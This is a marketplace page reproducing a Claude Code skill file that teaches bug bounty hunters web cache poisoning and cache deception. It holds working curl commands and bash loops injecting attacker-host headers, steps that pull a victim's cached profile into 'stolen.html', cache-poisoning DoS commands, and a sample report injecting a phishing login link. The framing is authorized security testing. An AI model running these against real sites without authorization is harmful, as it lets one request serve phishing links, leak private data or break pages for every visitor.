agentsclimarketplace

23 cache poisoning

Skill 0xGhostCAT/claude-ai-cyber-security-skills/skills/23-cache-poisoning

30 Claude Code Skills + 60+ integrated tools for HackerOne/Bugcrowd bug bounty hunters

Install
npx -y skills add 0xGhostCAT/claude-ai-cyber-security-skills --skill 23-cache-poisoning

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.

What its author says it does

Copied from the file, not written here

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

SKILL.md

10.2 KB, ~2.7k tokens by cl100k_base, as published. Nobody here has run it

Cache Poisoning & Cache Deception

Affect one user → affect millions.

When to invoke

Trigger phrases:

  • "cache poisoning"
  • "web cache"
  • "CDN attack"
  • "cache deception"

Two distinct attacks

Cache Poisoning

Attacker sends a crafted request → response contains malicious content → cache stores it → all subsequent users get the malicious response.

Cache Deception

Attacker tricks the cache into storing another user's authenticated content at a public URL → attacker reads private data via cache.

Core concept: cache key

Cache key = how the cache identifies "same request"

If cache key = URL only:
  Request 1: GET /home with X-Forwarded-Host: attacker.com
  Cache stores response (which includes attacker.com in Location)
  Request 2: GET /home (no header) → served from cache → attacker.com link

Unkeyed inputs (parts of request NOT in cache key but affecting response) = poisoning opportunity.

Detection

Check if response is cached

curl -sI "https://target.com/" | grep -iE 'cache-control|age|x-cache|cf-cache-status|cf-ray|x-served-by|via|x-cache-hits'

# Indicators of caching:
# Cache-Control: public, max-age=86400
# Age: 1234              ← seconds since cached
# X-Cache: HIT           ← served from cache
# CF-Cache-Status: HIT   ← Cloudflare cache
# X-Served-By: cache-...

Find unkeyed inputs

Send a request with a marker header. Send a second clean request. Does the second response contain the marker?

# Step 1: poison probe
curl -s "https://target.com/" -H "X-Forwarded-Host: ccs-canary.attacker.com" -o /dev/null

# Step 2: fresh request from a different IP/user (or cache-buster)
curl -s "https://target.com/?cb=$(date +%s)" | grep "ccs-canary.attacker.com"

# Step 3: if marker appears in another request's response → cache key is incomplete

Common unkeyed inputs to test

InputEffect
X-Forwarded-HostAffects Location headers, absolute URLs
X-Forwarded-Protohttp vs https in generated URLs
X-Forwarded-SchemeSame
X-Original-URLReroutes
X-Rewrite-URLReroutes
X-HostLike XFH
Host (sometimes unkeyed!)Backend differs
ForwardedRFC 7239 version of XFF
X-Original-URLURL rewriting
OriginReflects to CORS headers
Cookie paramsSome caches don't include all cookies in key
URL query params (some)utm_*, _=, etc. often ignored
Trailing ? or ;Cache may strip → match with non-? variant

Step-by-Step Workflow

1. Inventory cacheable endpoints

# Look for caches in your asset-discovery output
cat httpx.jsonl | jq -r 'select(.headers.cache_control != null and (.headers.cache_control | tostring | test("public|max-age"))) | .url' > cacheable.txt

2. Test for unkeyed-header poisoning with Param Miner

Burp extension Param Miner has a "Guess headers" mode that fuzzes hundreds of unkeyed inputs.

Run on each cacheable endpoint → review the "issues" list.

Manual probe:

TARGET="https://target.com/"
HEADER_TESTS=(
    "X-Forwarded-Host"
    "X-Forwarded-For"
    "X-Forwarded-Proto"
    "X-Original-URL"
    "X-Rewrite-URL"
    "X-Host"
    "X-Forwarded-Scheme"
    "Origin"
    "Forwarded"
    "X-Forwarded-Server"
)

CANARY="ccs-canary-$(uuidgen | head -c 8).attacker.com"

for h in "${HEADER_TESTS[@]}"; do
    # Poison
    curl -s "$TARGET?cb=test1" -H "$h: $CANARY" -o /dev/null

    # Verify on second request (different cache buster)
    response=$(curl -s "$TARGET?cb=test2")
    if echo "$response" | grep -q "$CANARY"; then
        echo "[REFLECTED + may be cached] $h"
    fi
done

3. Try cache deception

Goal: get the cache to store a private response at a public URL.

Authentic URL:    /account/profile          (sensitive, not cached, requires auth)
Trick URL:        /account/profile.css      (cache: "looks like CSS — cache it!")

If the app routing resolves /account/profile.css → same handler as /account/profile,
and the cache decides based on extension → poisoning by deception.

Test:

# Login as victim
curl -s "https://target.com/account/profile.css" --cookie "session=victim" -o /dev/null

# As attacker (no cookies), fetch the same URL → may get victim's cached content
curl -s "https://target.com/account/profile.css" -o stolen.html

# If stolen.html contains victim's profile data → deception confirmed

Try variations:

/account/profile/                  ← trailing slash
/account/profile/foo.css           ← path traversal style
/account/profile;.css              ← matrix param
/account/profile..css
/account/profile.js
/account/profile.png
/account/profile?.css

4. Cache key normalization tricks

Some caches normalize URLs before key generation:

/foo  and  /foo/  → same key?
/foo  and  /FOO   → same key?
/foo?a=1&b=2  and  /foo?b=2&a=1  → same key?
/foo?a=1  and  /foo?a=1#fragment → same key?

If they differ but content is same → no bug, just inefficient.
If they're considered same but generate different content → poisoning surface.

5. Test for fat-GET / unkeyed body

# Some caches ignore body, even for GET
GET /resource HTTP/1.1
Host: target.com
Content-Length: 13

malicious-data

If the response varies based on body but cache key is just URL → unkeyed body poisoning.

6. CDN-specific quirks

Cloudflare:

  • Cache-Control: private is honored
  • Query string keying configurable per-zone
  • Worker scripts can be bypassed via specific endpoints

Akamai:

  • Pragma debug headers can leak cache state
  • ICP header can reveal cache hit/miss

Fastly:

  • Surrogate-Key header
  • ESI can be exploited if enabled

CloudFront:

  • Cache key behavior configurable per-distribution
  • Query string forwarding settings often misconfigured

7. Cache poisoning to DoS

Even without sensitive impact, you can DoS by poisoning:

# Poison with broken HTML
curl -H "X-Forwarded-Proto: ://" target.com/  # may break Location header
# Now all subsequent users see broken page until cache expires

# Or oversize header
curl -H "X-Forwarded-Host: $(python3 -c 'print("A"*8000)')" target.com/
# 400/500 response cached → DoS until eviction

Tools

# Param Miner (Burp BApp) — guesses unkeyed parameters/headers automatically
# Web Cache Vulnerability Scanner (Hackmanit)
pip install web-cache-vulnerability-scanner

# Mary (cache poisoning automation by NahamSec / others)

Output template

## High: Web cache poisoning via X-Forwarded-Host on /home

### Summary
The home page (`/home`) caches publicly with `Cache-Control: public, max-age=300`. The cache key does NOT include the `X-Forwarded-Host` header, but the application uses this header to generate canonical URLs (Open Graph `og:url`, login link `href`). By sending one crafted request, an attacker can poison the cache for 5 minutes, causing all users to see a phishing-domain login link.

### Steps to reproduce
1. Poison the cache (single request):
   ```http
   GET /home HTTP/1.1
   Host: target.com
   X-Forwarded-Host: phish.attacker.com
  1. Wait ~1 second for cache write.
  2. From a different IP/browser, request /home normally:
    GET /home HTTP/1.1
    Host: target.com
    
  3. Response body contains:
    <meta property="og:url" content="https://phish.attacker.com/home">
    <a href="https://phish.attacker.com/login" class="login-link">Log in</a>
    
  4. The poisoned response persists for ~300s.

Impact

  • All visitors during the 5-minute window see the phishing link as the official "Log in" button.
  • Attacker can re-poison every 5 minutes indefinitely.
  • High-trust phishing: link IS displayed on target.com, but goes to attacker's clone of the login.
  • Combined with credentials submission to a clone, mass account takeover.

Suggested fix

  • Add X-Forwarded-Host to the cache key (Vary: X-Forwarded-Host).
  • OR ignore X-Forwarded-Host in URL generation (use server-set Host or canonical config).
  • OR set Cache-Control: private for /home if personalization is required.

## Cross-references

- `[[xss]]` — cache poisoning + reflected XSS = mass XSS
- `[[ato-chains]]` — phishing link via cache → ATO at scale
- `[[http-smuggling]]` — request smuggling + cache poisoning = devastating chain
- `[[fingerprinting]]` — identify CDN before testing

## Common pitfalls

1. **Testing on YOUR cache only** (browser cache, local). Always use cache-busters and verify another client sees the poison.
2. **Reporting reflected unkeyed input without showing cache hit.** Triagers want to see the poisoning persist.
3. **Causing real DoS in production.** Throttle. Test on a low-traffic path.
4. **Not respecting cache TTL in reproduction steps.** Triager replays after TTL → no repro → N/A.
5. **Cache-busting via header but reporting "no cache-buster needed".** Document exactly how you reproduced.

## Severity guide

| Poisoning effect | Severity |
|---|---|
| Mass XSS via cached response | Critical |
| Phishing link injected globally | High |
| Broken site (DoS-by-poison) | Medium-High |
| Information disclosure (cached private data via deception) | High-Critical |
| Cache deception (login pages cached) | Critical |
| Cosmetic break only | Low (often informative) |

## Cache headers to set in your repro

```http
Cache-Control: no-cache, no-store
Pragma: no-cache

# Or use unique cache buster
?_=1234567

Quick canary script

#!/bin/bash
URL="$1"
CANARY="bb-$(uuidgen | head -c 12)"

# Standard unkeyed headers
HEADERS=(
    "X-Forwarded-Host"
    "X-Original-URL"
    "X-Forwarded-Scheme"
    "X-Forwarded-Proto"
    "X-Rewrite-URL"
    "X-Host"
    "Origin"
)

for H in "${HEADERS[@]}"; do
    # Poison
    curl -s "$URL?_=$CANARY-poison" -H "$H: $CANARY.attacker.test" -o /dev/null

    # Verify
    if curl -s "$URL?_=$CANARY-verify" | grep -q "$CANARY"; then
        echo "[POISONABLE] $H"
    fi
done

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Gives 0 of the 12 instructions most containers cloud skills give in ~2.7k tokens

Counted across 607 of the 657 authors here whose files we hold, read 2026-08-07

  • Run containers as a non-root userin 66 of 607, across 46 files
  • Use multi-stage buildsin 53 of 607, across 44 files
  • Use Promise.all for independent operationsin 47 of 607, across 13 files
  • Import directly instead of barrel filesin 46 of 607, across 12 files
  • Use ternary instead of AND for conditionalsin 45 of 607, across 12 files
  • Use Set or Map for O(1) lookupsin 42 of 607, across 10 files
  • Create a .dockerignore filein 41 of 607, across 31 files
  • Read individual rule files for detailsin 39 of 607, across 9 files
  • Copy dependency files before source codein 36 of 607, across 23 files
  • Authenticate server actions like API routesin 35 of 607, across 7 files
  • Use next/dynamic for heavy componentsin 34 of 607, across 9 files
  • Use React.cache for per-request deduplicationin 34 of 607, across 10 files

Said here and by no other author read

  • identify cache key flaws
  • check if responses are cached
  • find unkeyed inputs
  • test for unkeyed header poisoning
  • try cache deception using file extensions
  • test cache key normalization

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.